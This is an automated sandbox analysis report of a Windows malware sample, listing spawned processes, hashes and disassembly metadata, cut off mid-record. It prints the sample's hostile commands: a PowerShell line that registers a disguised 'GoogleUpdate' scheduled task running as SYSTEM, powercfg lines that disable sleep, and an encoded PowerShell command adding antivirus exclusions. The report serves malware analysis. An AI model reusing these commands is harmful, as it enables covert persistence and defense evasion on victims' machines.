Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#tcvsvxpo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:41:12
Start date:	04/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff793f90000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:41:12
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:41:12
Start date:	04/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff793f90000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:41:12
Start date:	04/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff793f90000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:41:12
Start date:	04/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff793f90000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:41:12
Start date:	04/06/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7cd660000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	07:41:13
Start date:	04/06/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7a2ae0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	07:41:14
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	07:41:14
Start date:	04/06/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff74e710000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	07:41:16
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	07:41:17
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	07:41:17
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	07:41:17
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	07:41:18
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	07:41:18
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	07:41:19
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	07:41:21
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	07:41:22
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	07:41:22
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	07:41:23
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	07:41:24
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	07:41:24
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	07:41:24
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	07:41:25
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	07:41:26
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	07:41:26
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	07:41:26
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	07:41:26
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	07:41:27
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	07:41:27
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	58.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20%
Total number of Nodes:	10
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401159 Relevance: 9.1, APIs: 6, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00401173
SetUnhandledExceptionFilter.KERNEL32(00401137), ref: 00401181
__set_app_type.MSVCRT ref: 0040118C
_controlfp.MSVCRT ref: 004011A0
__getmainargs.MSVCRT ref: 004011CE
exit.MSVCRT ref: 00401200

Memory Dump Source

Source File: 00000000.00000002.1659628865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1659540497.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1659645833.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1659666562.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled__getmainargs__set_app_type_controlfpexitmemset
String ID:
API String ID: 3649950142-0
Opcode ID: 3c7f208ab86616cf9a1686d6869a33b986d176603efbc1ea6a58cd6fd1d05e61
Instruction ID: fc045321f811a098a7979d314287de060eedcd0c545a428eb1da9c6cbbdaf0c5
Opcode Fuzzy Hash: 3c7f208ab86616cf9a1686d6869a33b986d176603efbc1ea6a58cd6fd1d05e61
Instruction Fuzzy Hash: FE11FAF5E00104ABDB40EBA8ED85F5A77ACAB08318F10407AF805F73A1E67CE9448769

Function 00401000 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteA.SHELL32(open,open,powershell,-EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA,?,?), ref: 0040102E

Strings

powershell, xrefs: 0040101C, 00401021
open, xrefs: 00401022, 00401027, 0040102D
-EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA, xrefs: 00401016, 0040101B

Memory Dump Source

Source File: 00000000.00000002.1659628865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1659540497.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1659645833.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1659666562.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ExecuteShell
String ID: -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA$open$powershell
API String ID: 587946157-2345915519
Opcode ID: 73fb1aa1647e4e3e08cdd17ebb0cf718c89274690c8596046e7b3d86a62e50f3
Instruction ID: 465bb01503e637d60117158f12c64ae71dfa9f42f6fb030d0b5228a9f9c9fdb5
Opcode Fuzzy Hash: 73fb1aa1647e4e3e08cdd17ebb0cf718c89274690c8596046e7b3d86a62e50f3
Instruction Fuzzy Hash: 29D0EAA07002042BE7A0A16D9E4AF03248D8349348F6044763648F33D1E5ACEC1882BD

Function 004010E3 Relevance: .0, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1659628865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1659540497.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1659645833.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1659666562.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 3b9c1e2987f2b999ad0d0f9c8693af35fb68528fd67076efd52a34421309947a
Instruction ID: 49e43100846b01024c59343c30e83f1d4a14909fbe362eb7700aa3e60a8dc1a4
Opcode Fuzzy Hash: 3b9c1e2987f2b999ad0d0f9c8693af35fb68528fd67076efd52a34421309947a
Instruction Fuzzy Hash: A8F0FEB4A00249AFCB40DFA8D985E4A77F8AB49308F004075F844E7350D634E9448B54

Analysis Process: powershell.exePID: 7324, Parent PID: 7280COMMON

Executed Functions

Function 00C0B571 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 598cc4b2efc7e08defd23d38710dac73e66c988d12dcebc45a9e967a8dfd6580
Instruction ID: 7a89eeae038f2f8f76e7adf4f1e400f2397b396d1e7e9109e1cd1d44c420d5eb
Opcode Fuzzy Hash: 598cc4b2efc7e08defd23d38710dac73e66c988d12dcebc45a9e967a8dfd6580
Instruction Fuzzy Hash: A3915FB1F006159BDB19DFB589116AEBBF7EF84700B00892EE506AB394DF345E058BC5

Function 00C0B580 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f745523b6d86179a527a0eb8312426372bb86a63f6b3c553f57de80afb70347
Instruction ID: 394c0788df87e172323f6fff632ab147c12ad2bc63494e110916848dc486ea92
Opcode Fuzzy Hash: 8f745523b6d86179a527a0eb8312426372bb86a63f6b3c553f57de80afb70347
Instruction Fuzzy Hash: BD915EB1F006159BDB19DFB58A116AEB7F7EF84700B00892EE506AB394DF349E058BC5

Function 06F53CE8 Relevance: 5.5, Strings: 4, Instructions: 521COMMON

Download Yara Rule

Strings

4'fq, xrefs: 06F54026
4'fq, xrefs: 06F54180
4'fq, xrefs: 06F5418A
4'fq, xrefs: 06F54030

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq
API String ID: 0-359900465
Opcode ID: 9fab19da6fb32123986de7d695557e1a82d9a65bdfe7847e6c76ae78a939ba61
Instruction ID: d03caebfd1a4c2d5ae40d21f41a1819746af5e6b5c0fbb63083900e193c86b3b
Opcode Fuzzy Hash: 9fab19da6fb32123986de7d695557e1a82d9a65bdfe7847e6c76ae78a939ba61
Instruction Fuzzy Hash: 82F12732F042149FCB959BBC841176BBBE29F95350F16846ADA05CB652EF31CC86C7E2

Function 06F56358 Relevance: 4.0, Strings: 3, Instructions: 200COMMON

Download Yara Rule

Strings

$fq, xrefs: 06F5649D
$fq, xrefs: 06F564A9
$fq, xrefs: 06F56461

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: $fq$$fq$$fq
API String ID: 0-837900676
Opcode ID: a3102c643f146013e00004453f981f3590c8f0c3e9ad09c9ae8447bb88fd4e21
Instruction ID: 75d47a6df230c29aa8b23b5bf73e4e3f25112ff4ac32d6eb191f8105ae63dcf2
Opcode Fuzzy Hash: a3102c643f146013e00004453f981f3590c8f0c3e9ad09c9ae8447bb88fd4e21
Instruction Fuzzy Hash: 2F51E632F102059FDF549AB8C41576EB7D2AF84310F558429EE21DB2A6DF32CD41C7A1

Function 06F524D8 Relevance: 3.0, Strings: 2, Instructions: 486COMMON

Download Yara Rule

Strings

4'fq, xrefs: 06F52619
4'fq, xrefs: 06F5260D

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq
API String ID: 0-751858264
Opcode ID: 368b2840d772e9fbaab37419115ea2a774f399ed3656c25e687565e90e0fd2e0
Instruction ID: 05f7ed919632831e3cd0c378fc9df3f7eaed1e8af5f985e4f8c9492dd4918213
Opcode Fuzzy Hash: 368b2840d772e9fbaab37419115ea2a774f399ed3656c25e687565e90e0fd2e0
Instruction Fuzzy Hash: F6F12771F00205DFDB948BB8C84176ABBE6AF89310F16817AEE05DB651DB31DE41C7A2

Function 06F5633B Relevance: 2.6, Strings: 2, Instructions: 139COMMON

Download Yara Rule

Strings

$fq, xrefs: 06F5649D
$fq, xrefs: 06F56461

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: $fq$$fq
API String ID: 0-2537786760
Opcode ID: 64bae4c04240b7c6b8c5c2cbeabb5a72befc2e7398048b20f9e8f10dbd7b0869
Instruction ID: bd354c0c135ea6ee0a5c9e57acdef7dc7025ce8650c3435b974063b4cb06ba00
Opcode Fuzzy Hash: 64bae4c04240b7c6b8c5c2cbeabb5a72befc2e7398048b20f9e8f10dbd7b0869
Instruction Fuzzy Hash: B641D732E043409FDF659F64C52576A7BA1AF41201F8A446ADE21DB2B7DF35CD40C7A2

Function 00C070A8 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

(jq, xrefs: 00C071CD

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID: (jq
API String ID: 0-3225323518
Opcode ID: 6eea020df6173c19af0df4e009e5bf5729334fee17ffbf4e9835072e17f3a90b
Instruction ID: 025e6fb6818ac807e4c9911fc7b180b79af6c966e3668b47fa85d05212aaa0c7
Opcode Fuzzy Hash: 6eea020df6173c19af0df4e009e5bf5729334fee17ffbf4e9835072e17f3a90b
Instruction Fuzzy Hash: 34412C74B082048FDB19DF68C858AADBBF2EF8D710F1445A9D916AB3D1DA35ED01CB60

Function 00C0B088 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

(&fq, xrefs: 00C0B0AA

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID: (&fq
API String ID: 0-1822945044
Opcode ID: aac7ac4fefb3918568de4ca80040a4d607c6516342490dcbe945bc72fafc0b7c
Instruction ID: c051b9621ef86572236a3fa043273e22320022a6d40a2bf7df3d5438494ddea2
Opcode Fuzzy Hash: aac7ac4fefb3918568de4ca80040a4d607c6516342490dcbe945bc72fafc0b7c
Instruction Fuzzy Hash: 9F2181B5A042588FCB14DFAED44479EBBF5AF88320F14846AD419E7380CB759D05CBA5

Function 06F564B7 Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

$fq, xrefs: 06F564D8

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: $fq
API String ID: 0-12477121
Opcode ID: 3c6677bdaa3f1bd5ff494570fa64a5835880a1df4c8e8a3e6a69fec223633671
Instruction ID: 12a454d27760c69ec368cf58ea363426873d82e01ca781f792e5bd7c19f05ed4
Opcode Fuzzy Hash: 3c6677bdaa3f1bd5ff494570fa64a5835880a1df4c8e8a3e6a69fec223633671
Instruction Fuzzy Hash: DE01D436B50204DFDF589B68D810AAEBBA2EF88300F558115ED15DB266CF32DC01CBE6

Function 00C029F0 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79e164efa7e0178d14eb47057e488d390080996b3e19a04d8326dbbc26ee4dea
Instruction ID: 063474ca151849ae1d25bb56a6643f303fc69babf984ad1a386890f2be718745
Opcode Fuzzy Hash: 79e164efa7e0178d14eb47057e488d390080996b3e19a04d8326dbbc26ee4dea
Instruction Fuzzy Hash: 48B1A170A052859FC716CF68C4989AEBFB1FF4A310B298196C455DB3A2C735EC56CBA0

Function 00C0E5E0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dccf899e3b37069bbd672cea0f77b622556167a521ed4112c31b32f32f86c0d8
Instruction ID: f7486143cd1eb6b999c548646a8b945de374e3cf09e8510a36d1fd576bd52ebf
Opcode Fuzzy Hash: dccf899e3b37069bbd672cea0f77b622556167a521ed4112c31b32f32f86c0d8
Instruction Fuzzy Hash: 50516EB4B002098FDB14DFACD59496ABBE6AF98300B1488A9E569CF351DB34ED01DB91

Function 00C07808 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

